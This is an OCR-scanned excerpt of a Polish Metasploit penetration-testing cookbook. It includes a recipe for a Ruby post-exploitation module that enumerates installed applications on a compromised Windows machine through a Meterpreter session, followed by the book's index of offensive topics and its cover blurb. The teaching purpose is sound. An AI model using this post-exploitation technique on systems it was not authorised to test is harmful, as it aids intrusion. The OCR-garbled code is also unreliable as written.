instalowanych na maszynie docelowej aplikacji. Poniewaz jest to modut fazy poeksploatacyj-
nej, bedziemy potrzebowaé¢ maszyny ze ztamanymi zabezpieczeniami, aby uruchomié modut:
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1. Aby rozpoczaé¢ budowe modutu, najpierw zaimportujemy biblioteki frameworku
i dotaczymy wymagane zaleznoSci:
require 'msf/core’
require 'rex'
require 'msf/core/post/windows/registry’
Skrypt rozpoczyna sie od dotaczenia bibliotek rdzeniowych frameworku Metasploit.
Nastepnie tworzona jest klasa, ktora rozszerza wlasciwosci modutéw Msf :: Post.

class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
2. Tworzymy funkcje initialize, ktéra jest wykorzystywana do zainicjowania

i okrelenia wlasciwosci modutu oraz jego opisu. Ta podstawowa struktura pozostaje
taka sama w prawie wszystkich modutach. Nalezy zauwazy¢, ze dodalismy wezesniej
biblioteki 'rex' oraz 'registry'. W ten sposob framework tatwo rozpozna nasze
wymagania dotyczace modutu.

def initialize(info={})

super( update _info( info,

'Name' => 'Windows Gather Installed Application
“>Enumeration',

'Description' => %q{ This module will enumerate all installed
Sapplications },

'License' => MSF_LICENSE,

'Platform’ => [ 'windows' ],

'SessionTypes' => [ 'meterpreter' ]

)

end

Kolejnym krokiem jest stworzenie tabeli, ktéra bedzie wyswietlaé wyodrebnione
wyniki. Do tego celu mozna uzy¢ specjalnej biblioteki Rex: :Ui : : Text. Musimy
zdefiniowaé r6zne kolumny:

def app list
tb1 = Rex::Ui::Text::Table.new(
'Header' => "Installed Applications",
"Indent' =>1,
'"Columns' =>

[
"Name" s
"Version"

1)
Gléwna czesé skryptu rozpoczyna sie od budowania tabeli i okreslenia nazw
réznych kolumn. Nastepnie tworzona jest osobna tablica lokalizacji w rejestrze,
ktéra zostanie wykorzystana do enumeracji aplikacji. Tablica bedzie sklada¢ sie
z réznych wpiséw w rejestrze, ktére zawieraja informacje na temat aplikacji
zainstalowanych na maszynie docelowej. Informacje o aplikacjach sg
przechowywane w osobnej tablicy o nazwie apps.
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appkeys = [
"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
"HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall',
"HKLM\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\
>CurrentVersion\\Uninstall',
"HKCU\\SOFTWARE\\WOW6432NODE\\Microsoft\\Windows\\
>CurrentVersion\\Uninstall',

1

apps = []

3. Nastepnie rozpoczynamy proces enumeracji poprzez uruchomienie petli, ktéra
sprawdza rézne lokalizacje rejestru przechowywane w tablicy o nazwie appskey:

appkeys.each do |keyx86|
found_keys = registry enumkeys (keyx86)
if found_keys
found_keys.each do |ak]|
apps << keyx86 +"\\" + ak
end
end
end

Kolejne wiersze skryptu maja na celu wypelnienie tabeli r6znymi warto$ciami
w odpowiednich kolumnach. Skrypt wykorzystuje wbudowang funkcje
registry getvaldata, kt6ra pobiera wartosci z rejestru i dodaje je do tabeli:

t=1]
while(not apps.empty?)
1.upto(16) do
t << framework.threads.spawn("Module(#{self.refname})",
false,
apps.shift) do |k|
begin
dispnm = registry getvaldata("#{k}","DisplayName")
dispversion =
registry getvaldata("#{k}","DisplayVersion")
tb1 << [dispnm,dispversion] if dispnm and dispversion
rescue
end
end

Kilka ostatnich wierszy skryptu stuzy do zapisywania informacji w oddzielnym
pliku tekstowym o nazwie applications.ixt. Plik jest zapelniany za pomocg funkeji
store_Tloot function, ktéra zapisuje pelng tabele w pliku tekstowym.

results = tbl.to_s
print_line("\n" + results + "\n")
p = store loot("host.applications", "text/plain", session,
Sresults, "applications.txt", "Installed Applications")
print_status("Results stored in: #{p}")
end
def run
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4. Ostatecznie na ekranie wyswietlane sa dane wyjsciowe z informacjg o utworzeniu
pliku i zapisaniu w nim wynikéw.
print_status("Enumerating applications installed on
>#{sysinfo['Computer']}")
app_list
end
end

Nastepnym krokiem jest zapisanie kompletnego programu w odpowiednim katalogu. Musisz
upewnic sie, ze wybrales wlasciwy katalog do przechowywania modulu. Pomoze to frameworkowi
wyraznie okresli¢ uzyteczno$é modutu i utrzyma hierarchie w platformie. Utrzymanie hierar-
chii podczas aktualizacji modutéw ulatwi identyfikowanie przeznaczenia modulu. Zapisanie
np. modutu przegladarki Internet Explorer w folderze modules/exploits/windows/browser
pomoze latwo lokalizowaé¢ w tym miejscu wszelkie nowe lub istniejace moduly przegladarki.

Okreslajac lokalizacje modutu, powinienes wziaé pod uwage nastepujace kwestie:
1. Typ modutu.
2. Dzialania przeprowadzane przez modut.

3. Rodzaj podatnego na ataki oprogramowania lub systemu operacyjnego, dla ktérych
modul jest przeznaczony.

Metasploit dla przechowywania modutéw stosuje hierarchie od uogélnionego do wyspecjalizowa-
nego formatu. Zaczyna sie od rodzaju modutéw, takich jak modut exploita czy modul pomocniczy.
Nastepna w hierarchii jest uogélniona nazwa, np. nazwa systemu operacyjnego. Dalej two-
rzone sg bardziej wyspecjalizowane funkcjonalnosci, ktére okreslaja, ze modul jest np. wyko-
rzystywany do przegladarek internetowych. Na koniec uzywana jest najbardziej okreslona na-
zwa, np. konkretna nazwa przegladarki internetowej, dla ktérej przeznaczony jest modul.

Wezmy pod uwage nasz modul. Jest to modut fazy poeksploatacyjnej, ktéry jest uzywany do prze-
prowadzenia enumeracji systemu operacyjnego Windows i zgromadzenia informacji o tym
systemie. Powinni§my wiec przy zapisywaniu modutu zastosowaé¢ odpowiednig konwencje.

Naszg lokalizacja docelowa powinien by¢ folder modules/post/windows/gather/.

Mozesz zapisa¢ modul z wybrang nazwa i z rozszerzeniem .rb. Zapiszmy go jako enum_
applications.rb.

Jak to wykona¢

Kiedy juz zapiszemy modul w preferowanym katalogu, nastepnym krokiem bedzie urucho-
mienie go i sprawdzenie, czy dziala poprawnie. Proces uruchomienia modutu widzielismy
w poprzednich recepturach.
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Uzyjemy nazwy modutu, aby uruchomié go w konsoli msfconsole:

msf> use post/windows/gather/enum applications
msf post(enum_applications) > show options

Module options (post/windows/gather/enum_applcations)
Name Current Setting Required Description

SESSION yes The session...

Jest to prosty przyklad tego, jak mozna zbudowaé¢ wtasny modut i doda¢ go do frameworku
Metasploit. Jesli chcesz budowa¢ dobre moduly, na pewno potrzebujesz solidnej wiedzy na temat
pisania skryptéw Ruby. Mozesz réwniez wspoméc spolecznosé Metasploit poprzez publikacje
swoich modul6éw, aby inni mogli z nich korzystac.

140

Kup ksigzke Pole¢ ksigzke


http://helion.pl/page354U~rt/metarp
http://helion.pl/page354U~rf/metarp

A
adres
1P, 184
MAC, 171, 191
aktualizacja

systemu BackTrack, 28
pakietu SET, 207
alokator pamieci, 91
analiza
luk w zabezpieczeniach, 19
modutu, 133
skryptu, 266
Antiparser, 159
antyphishingowy pasek narzedzi, 43
AP, access point, 189
aplikacja, Patrz takze narzedzie
Tzip, 87
Adobe Acrobat, 107
Adobe Reader, 106
AVG 10, 117
ESET NOD32, 116
Fern WiFi Cracker, 180,
187-194
Flash Player, 102
MacStumbler, 198
Microsoft Excel 2007, 106
Microsoft Word, 104
PuTTY, 31-33, 254
VMware, 29
VNCViewer, 271
Vomit, 174
Wiresh, 168
archiwum sfx, 87, 120
atak
client-side, 98, 110
DoS, 127, 175
e-mail, 214
Incognito, 276-279
MiTM, 172
phishing, 212
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sitowy, 123, 124
spear-phishing, 212, 213
typu zly blizniak, 198
wieloaspektowy, 218
WWW, 215

wykorzystujacy podszywanie

sie, 173
zatruwania ARP, 172
atrybuty MACE, 237
audyt bezpieczenstwa, 95
sieci bezprzewodowej, 191
autoryzacja, 136

backdoor, 219, 221, 247
BackTrack 5 R3, 13, 26, 207
bajty zerowe, null bytes, 147
baza danych
GHDB, 43
MySQL, 126
PostgreSQL, 33
BBQSQL, 37
biblioteka
MSF Core, 20
Rex, 20, 265
shell32.dll, 259
biblioteki
DLL, 92, 94
MSF, 132
MSFcore, 144
blok SEH, 118
Bluetooth, 179
btad 404, 176
bledy
bazy danych, 22
instalacji Metasploit, 25
polaczenia z baza, 35
brama sieciowa, gateway, 229
budowanie, Patrz tworzenie

C

certyfikat, 71, 211
certyfikat SSH, 33
ciasteczka, cookies, 193
czynno$ci wstepne, 18

D

deklaracje funkeji, 268

deszyfrowanie w locie, 193

DLL, Dynamic Link Library, 94

dodatek Railgun, 259, 260

dodawanie
bibliotek DLL, 261
DLL do Railgun, 261
parametréw, 263
trasy, 184

dokumentacja narzedzia Railgun, 261

domieszki exploitéw
Exploit::BruteTargets, 142
Exploit::Capture, 143
Exploit:Remote:: DCERPC, 142
Exploit: Remote:Ftp, 142
Exploit:Remote:MSSQL, 143
Exploit: Remote:SMB, 142
Exploit:Remote:: TCP, 142
Exploit:Remote: UDP, 142

domieszki Meterpretera, 255, 257
emd_exec, 257
eventlog_clear, 257
eventlog_list, 257
file_local_write, 257
is_admin?, 257
is_uac_enabled?, 257
registry_createkey, 257
registry_deleteval, 257
registry_delkey, 257
registry_enumkeys, 257
registry_enumvals, 258
registry_getvaldata, 258
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domieszki Meterpretera
service_create, 258
service_delete, 258
service_info, 258
service_list, 258
service_start, 258
service_stop, 258
DoS, Denial of Service, 128, 175
dostep
do interfejsu, 251
do Metasploit, 24
zdalny, 83
dowéd koncepcji, proof of concept,
147
dzialanie
exploita dcom, 84
systemu VolP, 162
dzienniki firewalli, 51

E

edytor tekstowy gedit, 264
eksploatacja, 19
aplikacji PHP, 274
typu client-side, 97
elementy TLV, 234
enumeracja, 42, 127
exploit, 20, 39, 77, 141-159
dcom, 84
KiTrapOD, 233
Isa_transnames_heap, 89
ms03_026_dcom, 79, 83
ms08_067_netapi, 276
ms10_087_rtf_pfragments_bof,
104
ms11_021_xIb_bof, 106
webdav_dll_hijacker, 92
extranet, 42

falszywy
podpis apletu, 218
punkt dostepowy, 198, 200
faza
poeksploatacyjna, 19
skanowania i enumeracji, 164
filtr antyphishingowy, 43
firewall, 31, 232
floodowanie, 176
folder
exploit, 143
gather, 130
modules, 122
footprinting, 42
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modutu exploita, 144
RTF, 104
SWF, 103
U3D, 106, 108
framework
Antiparser, 159
BBQSQL, 37
Karmetasploit, 201
Metasploit, 19
funkcja
check(), 145
CMshtmlEd::Exec(), 99
connect_login, 135
def initialize(), 145
exploit(), 145, 151
initialize(), 144, 150
IsUserAnAdmin, 259
Targets_exec(), 271
VirtualAlloc, 118
wrong_meter_version(), 268
funkcje Meterpretera, 224
fuzzer, 156
protokolowy, 154
serwera FTP FileZilla, 156
fuzzowanie aplikacji, 153

G

generator zainfekowanych
no$nikéw danych, 219
generowanie
hasel, 124
pliku binarnego, 108
geolokalizacja, 194, 196
GHDB, 43
GUI, Graphical User Interface, 21,
180

hasto, 168
hopper VoIP, 171
hostowanie samodzielne, 162

TAENG, 7
identyfikacja systemu operacyjnego,
50
identyfikator
procesu, PID, 242, 271
ustugi, SSID, 201
11S, Internet Information Services,
128

importowanie

modutu exploita, 152

wynikéw skanowania, 70
informacje

o autoryzacji, 136

o otwartych portach, 98

o systemie operacyjnym, 98
instalowanie

bazy danych, 33

exploita, 81

Fern Wi-Fi Cracker, 181

frameworku Metasploit, 23, 26

laboratorium, 164

maszyny wirtualnej, 29
interfejs

API, 255

API Meterpretera, 258

bazy danych, 63

DCOM, 81

graficzny uzytkownika, GUI, 21

msfcli, 21

msfconsole, 21, 34

msfgui, 21

msfweb, 21

uzytkownika, UL, 21
internet, 42
intranet, 42

jezyk
Python, 191
Ruby, 84
Visual Basic, 87, 120

K

Karmetasploit, 201
klient SSH, 31
klonowanie, 30
adresu URL, 216
frameworku Metasploit, 25
kod powtoki, 108, 109
kod powloki syringe.sh, 119, 120
kodowanie msf, 87
komenda, Patrz polecenie
komentarze, 263
komunikacja klient-serwer, 227
konfigurowanie
bazy danych, 33
BBQSQL, 38
Fern Wi-Fi Cracker, 181
kanal6w komunikacji, 234
Karmetasploit, 201
laboratorium, 164
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maszyny wirtualnej, 30
Metasploit
na maszynie wirtualnej, 31
w Ubuntu, 23
w Windows, 21
monitorowania, 198
pakietu SET, 208
trasy, 253
wlasnego serwera pocztowego,
214
konsola msfconsole, 60, 93, 100
kontrola nad maszyng docelowa, 85
konwertowanie
exploita, 147, 149
rekordéw DNS, 45

L

laboratorium, 164
liczba pakietéw IVS, 191
Linux, 88
lista
hasel, 125
RBL, 212
skaneréw, 122
SURBL, 212
luka
Adobe Flash Player, 102
DBMS_METADATA XML, 127
execCommand
Use-After-Free, 99
RFI, 274
typu RPC dcom, 79
U3D Memory Corruption, 107
w zabezpieczeniach, 19, 65, 76
obstugi znacznika DoABC, 102
przegladarki, 98, 99
ushug I1S, 128

b

ladowanie Meterpretera, 224
tadunek, 20, 76, 77
adduser, 80
bind_tep, 84, 92
reverse_tcp, 104
shell_bind_tcp, 90
tamanie zabezpieczen szyfrowania,
187, 189
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MACE, 237
MAFIA, 239
maska sieci, netmask, 229
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maszyna wirtualna, VM, 30
mechanizm obronny ASLR, 106
Metasploit, 19
Meterpreter, 114-116
atak Incognito, 276
dodatek Railgun, 259
domieszki, 255
interfejs API, 258
konfiguracja kanatéw
komunikacji, 234
migracja procesu, 232
polecenia sieciowe, 229
polecenia systemowe, 225
polecenia systemu plikow, 227
poszerzanie uprawnien, 232
przechwytywanie uderzen
klawiatury, 239
przekierowanie portéw, 252
skrypty, 243
trwale polaczenie, 247
zacieranie §ladéw, 237
metoda talloc chunk overwrite, 91
metody SIP, 163
MIB, Management Information
Base, 63
migracja procesu, 232
MiTM, Man in The Middle, 172
modelowanie zagrozen, 18
modul, 20
adobe_libtiff, 102
client_ftp.rb, 154
dostepu FTP, 134
fazy poeksploatacyjnej, 136
Fern Cookie Hijacker, 193
filezilla_fuzzer.rb, 158
GPS, 196
ms10_065_ii6_asp_dos, 128
mysql_enum, 126
sip_invite_spoof, 174
skanera mysql_login, 123
snmp_enum, 63
ssh_version, 60, 61
modutowa struktura exploitéw, 144
moduly
administracyjne, 125
exploitéw, 91
fazy poeksploatacyjnej, 130
fuzzeréw, 143, 153
pomocnicze skanera, 122
wlasne, 136
wstrzykniecia zapytania, 127
monitorowanie interfejséw
sieciowych, 182
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narzedzia

32-bitowe, 28

64-bitowe, 28

MAFIA, 239

socjotechniczne, 40, 42, 205
narzedzie

aircrack-ng, 198

crunch, 124

DLLHijackAudit, 95

dig, 44

dnmap, 52, 53

do automatyzacji, 207

etherape, 186

ettercap, 209

Fern WiFi Cracker, 180

gAlan, 148

Greenbone Security Assistant,
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iaxflood, 175, 177

inviteflood, 175, 176

ipconfig, 183

Karmetasploit, 202

keimpx, 56, 57

kismet, 196

msfencoding, 111

msfpayload, 108

msfvenom, 146, 147

Nessus, 65-68

NeXpose, 68, 69

nmap, 47, 49, 51, 89

nslookup, 44

OpenVAS, 70-74

Railgun, 261

rtpflood, 175, 176

siperack, 169

smap, 165, 167

strzykawki, 85, 88, 118

svwar, 165, 166

tepdump, 182, 186

ucsniff, 172, 173

voiphopper, 170

whois, 44

Xplico, 167
nastuchiwacz, 107, 211

frameworku Metasploit, 221

polaczenia zwrotnego, 110
nazwany potok, named pipe, 233
niewla$ciwe uzycie wskaznika, 102
NTLM, NT LAN Manager, 245
numer wewnetrzny SIP, 172
NVT, Network Vulnerability Tests,
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obstuga
polaczen zwrotnych, 270
wyjatkéw jadra, 233
odmowa ushugi, 128
odpowiedzi SIP, 163
omijanie
firewalli, 232
ochrony antywirusowej, 99
system6w detekcji wlaman, 232
zabezpieczenn DEP, 102
opcja
autoodtwarzania, 219, 221
CYCLIC, 155
ENDSIZE, 155
ERROR, 155
EXTRALINE, 155
FUZZCMDS, 155
SRVHOST, 155
SRVPORT, 155
STARTSIZE, 155
STEPSIZE, 155
opcje
BBQSQL, 38
polecenia persistence, 248
polecenia smap, 166
typu plikéw, 108
otwarte porty, 187
otwarty serwer FTP, 62

P

pakiet, 155
ARP, 171
Karma, 201
narzedzi socjotechnicznych, 40
SET, 206
siperack, 169

parametr
/F, 118
BASENAME, 93
C, 110
FILENAME, 105
LHOST, 105, 109
LPORT, 109
o, 109
PASSWORD, 126
RHOST, 80
SRVHOST, 93
SRVPORT, 93

PDA, Personal Digital Assistant,

194

penetracja maszyny docelowej
wigzanie powloki, 83
z Linuksem, 88
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z Windows 8, 85
z Windows XP SP2, 78
personifikacja, 233
nazwanego potoku, 233
tokenu, 278
phishing, 198, 212
piaskownica, 218
PID, process 1D, 242
pivoting, 229, 250, 252
plik, Patrz takze skrypt
backdoor.exe, 88
database.yml, 34, 35
dnmap_client.py, 54
karma.rc, 202
konfiguracyjny, 38
policy.txt, 93
priceinfo.rtf, 105
resume.pdf, 108
s.bat, 87
set_config, 208, 212
stownika, 191
syringe.exe, 119
syringe.sh, 85
pliki
.exe, 85
pdf, 103, 108
swif, 103
.vbs, 250
xIb, 106
podatno$é na ataki, 75
podsieé, subnet, 229
podstuch MiTM, 172
podszywanie sie
pod adresy MAC, 171
pod inng osobe, 173
polecenia
interfejsu msfconsole, 100
sieciowe Meterpretera, 229
systemowe Meterpretera, 225
systemu plikéw Meterpretera,
227
polecenie
background, 226
bbgsql, 39
db_connect, 34
db_nmap, 36
dig, 45, 46
download, 228
enumdesktops, 239
execute, 235
exit, 227
exploit, 153
getdesktop, 239, 241
getpid, 226
getsystem, 115, 232, 246
getuid, 226

ipconfig, 31, 230, 251

keyscan, 242

keyscan_start, 242

Is, 175

migrate, 234

msfconsole, 60

msfpayload, 109

msfvenom, 146

nmap, 36, 47

nslookup, 45

portfwd, 187, 231, 253

ps, 115, 226

pwd, 228

route, 230, 252

run scraper, 243

search, 228

search Samba, 89

set, 77

setg, 78

shell, 227

show exploits, 77

show options, 80, 127

show payloads, 80

show targets, 80

sysinfo, 226

taskkill, 118

tasklist, 117

timestomp, 237, 238

unsetg, 78

voiphopper, 171

whois, 45

write, 236
polaczenie

powloki, 93, 99

SSH, 31

TCP, 48, 49, 84

three-way handshake, 49

trwale, 247

typu threeway handshake, 47

z bazg danych, 35

z maszyng atakujacego, 93

z nastuchiwaczem, 219
ponowne wykorzystanie kodu, 266
poszerzanie uprawnien, 232
po$wiadczenia SM B, 56
powloka

cmdshell, 126

goscinna, 274

Meterpretera, 115

Ruby, 256
pozyskiwanie hasel, 168
program, Patrz aplikacja, narzedzie
programy antywirusowe, 117
protokot

NTLM, 245

NTLMSSP, 57
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SIP, 163
SMB, 56
SNMP, 63
SSH, 59
TLS, 163
przechowywanie rezultatéw, 36
przechwytywanie
pakietéw, 198
pakietéw ciasteczek, 193
sesji, 191
uderzen klawiatury, 239
przegladarka Microsoft Internet
Explorer, 100
przekierowanie portéw, 231, 252, 254
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stosu, 104, 148
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penetracyjnych, 29
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punkt dostepowy, AP, 189
punkty koicowe sieci, 98
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rekordy

NVT, 72

SPF, 46
RFB, Remote Frame Buffer, 271
RFI, Remote File Inclusion, 274
rodzaje atak6w spear-phishing, 212
rozmiar stosu, 148
rozszyfrowywanie hasel, 247
RPC, Remote Procedure Call, 81
RTP, Real time Transport Protocol,
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SEH, Structured Exception
Handler, 118
serwer
backdooréw, 248
dnmap, 53
FTP FileZilla, 156
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pocztowy sendmail, 209
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VNG, 271
SET, Social-Engineer Toolkit, 40,
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bezprzewodowa, 179
VolP, 161, 171
SIP, Session Initiation Protocol, 163
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portéw, 185
ScanSSH, 62
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ACK, 48, 50
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FTP, 62
luk w zabezpieczeniach, 65, 70
nmap, 36
polaczenia TCP, 47, 49
portéw, 47, 52
poswiadczeri SMB, 56, 58
punktéw dostepowych, 189
SYN, 48, 50
TCP, 186
UDP, 48, 50
wersji SSH, 59
za pomocg narzedzia NeXpose,
68
skroty haset, 247
skrypt
Acro] S, 102
anonymous.rb, 134
arp_scanner, 184
dir_scanner, 122
enum_logged_on_user.rb, 131
hashdump, 245, 246
killav.rb, 113, 117
metsve, 248
persistence, 248
scraper.rb, 243
screen_spy.rb, 131
startowy, 35
trwalego polaczenia, 271
VB, 87, 120
winenum.rb, 245
skrypty Ruby, 265
skryte skanowanie, 48
SNMP, Simple Network
Management Protocol, 63
socjotechnika, 205
SPF, Sender Policy Framework, 46
spoofing, 198
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SPR, Sender Policy Framework,
212

spryskiwanie sterty, 102
standard

Bluetooth, 179

PTES, 18

SANS, 42

Wi-Fi, 179
stos

wykonawczy, 148

wywolan, 148
stosowanie domieszek, 264
stowarzyszenie inzynieréw, 7
struktura modutu, 143
SURBL, 212
synchronizacja z bazg NVT, 71
system VolP, 162
systemy detekcji wlaman, 48, 232
szare listy, 212
szyfrowanie

WEP, 187

WPA, 187
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$ciezka dostepu do modutu, 126
§ledzenie wspotrzednych
geograficznych, 194
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tabela routingu, 253
TEB, Thread Environment Block,
233
technika pass the hash, 245
technologia VolIP, 161
telefonia IP, 162
terminal systemu BackTrack, 109
testowanie
modutu exploita, 152
z minimalng wiedza, 154
testy
obciazeniowe, 175
penetracyjne
sie¢ bezprzewodowa, 179
sie¢ VolIP, 161
Windows 8, 85
Windows XP, 78
teczowe tablice, 246, 247
TLS, Transport Layer Security, 163
TLV, Type-Length-Value, 234
tokeny
delegowania, 276
personifikacji, 276
topologie VoIP, 162
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transfer danych SWF, 103
tworzenie
fuzzera, 156
katalogu dziennika skryptu, 269
tadunku, 214
modulu, 136
nastuchiwacza, 107
skryptow polaczen trwalych, 269
skryptu, 263
zlosliwego pliku, 105

U

U3D, Universal 3D, 108
Ubuntu, 23
UI, user interface, 21
ukrywanie okna poleceri, 120
uprawnienia

odczytu/zapisu, 135

uzytkownika, 115
uruchamianie

apletu, 218

exploita, 90

modutu, 139
urzadzenie

PDA, 194

Zoiper, 176
ushuga

LSA RPC, 91

online SIP, 163

Samba, 89
ushugi

hostowane, 162

programéw antywirusowych, 116
ustawienia adaptera sieciowego, 31
usuwanie bazy danych, 35
uszkodzenie pamieci, 106
uzytkownik

Admin, 71

root, 71, 112
uzywanie modulu pomocniczego,
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VLAN hopping, 170

VNC, Virtual Network Computing,
271

VolIP, 161
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wabik, 51
walidacja, 268
walidacja rekordéw SPR, 212
wardriving, 194-198
wektor ataku
spear-phishing, 212
wieloaspektowego, 218
WWW, 215
wersja SSH, 59
weryfikacja
tresci, 212
wersji, 264
wiadomo$§é¢ e-mail, 215
wigzanie powloki, 83
wiersz polecen, 78, 117
Wi-Fi, 179
Windows, 21
Windows 2003, 128
Windows 7, 116
Windows 7 Ultimate, 92
Windows 8, 85, 120
Windows XP SP2, 78
Windows XP SP3, 98
wsp6lezynnik wykrycia, 111
wstrzykiwanie
bibliotek DLL, 92
serwera VNC, 271
zapytan, 37
wybér
exploita, 79, 89
tadunku, 80, 90
wykonywanie skryptu na maszynie
docelowej, 271
wykrywanie
adresu MAC, 172
ciasteczek, 194
systemu operacyjnego, 50
wersji ustug, 50
wylaczanie
ochrony antywirusowej,
113-116
ustug, 118
wyszukiwanie sieci Wi-Fi, 194
wyszukiwarka SHODAN, 43
wyswietlanie
komunikatu, 265
skryptu, 267
wynikéw, 263

wywolanie
print_error, 256
print_good, 256
print_line, 256
print_status, 256
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zachowanie konwencji pliku, 264
zacieranie $lad6éw, 237
zainfekowane no$niki danych, 219
zamiatanie SNMP, 63
zamykanie kanatu, 236
zapis plikow, 270
zapytanie SQL, 127
zastosowania Meterpretera, 11
zbieranie informacji, 18, 41
aktywne, 42
pasywne, 42, 44
za pomoca narzedzi
socjotechnicznych, 42
zdalne
wstrzykiwanie serwera, 271
wywolanie procedury, 81
zdalny dostep, 83
ztamany klucz szyfrujacy, 191
zlosliwe hiperlacze, 98
zlosliwy
adres URL, 98
plik, 105
zmienne globalne, 263
znak
wieloznacznosci, 117
zachety, 102
zwiekszanie
anonimowoSci, 51
uprawnien, 129
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zadania STP, 163
zadanie autoryzacji SIP, 168
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Metasploit
Receptury pentestera
Wydanie Il

Jeteli Twdj system przechowuje i przetwarza poufne
informacje — dane osobowe, numery kart kredytowych,
wiadomosci e-mail, dane finansowe lub co$ réwnie waZnego
— jest lakomym kaskiem dla cyberprzestepcéw. Jezeli wizja
kradziezy Twoich danych spedza Ci sen z powiek i zastana-
wiasz sie, jak najlepiej sprawdzi¢ stan bezpieczenstwa
Twojego systemu, to odpowiedz jest jedna — zaatakuj go
sam! Testy penetracyjne to najskuteczniejsza metoda
weryfikacji bezpieczenstwa.

Metasploit to narzedzie uzywane przez profesjonalistdw

do prowadzenia testéw penetracyjnych. JeZeli chcesz
poznac najlepsze przepisy na jego wykorzystanie, to trafiles
na doskonalg ksiazke! Zawiera ona ponad 80 receptur
omawiajgcych najbardziej skuteczne techniki testowania.
W trakcie lektury dowiesz sie, jak sprawnie skonfigurowaé
Metasploit, omina¢ ochrone antywirusowa oraz skanowad
porty w systemach. Ponadto nauczysz sie prowadzié testy
penetracyjne sieci bezprzewodowych, korzystaé z exploitdw
oraz uzywaé modutéw pomocniczych. Od dawna wiado-
mo, ze najslabszym ogniwem w systemie bezpieczenstwa
jest czlowiek, dlatego warto zaznajomié sie z rozdzialem
omawiajgecym pakiet narzedzi socjotechnicznych — Social
Engineer-Toolkit. Ksigzka ta jest obowiazkowa pozycia na
pétce katdego pentestera!

Testy penetracyjne — zadbaj o bezpieczenstwo
Twojego systemul!
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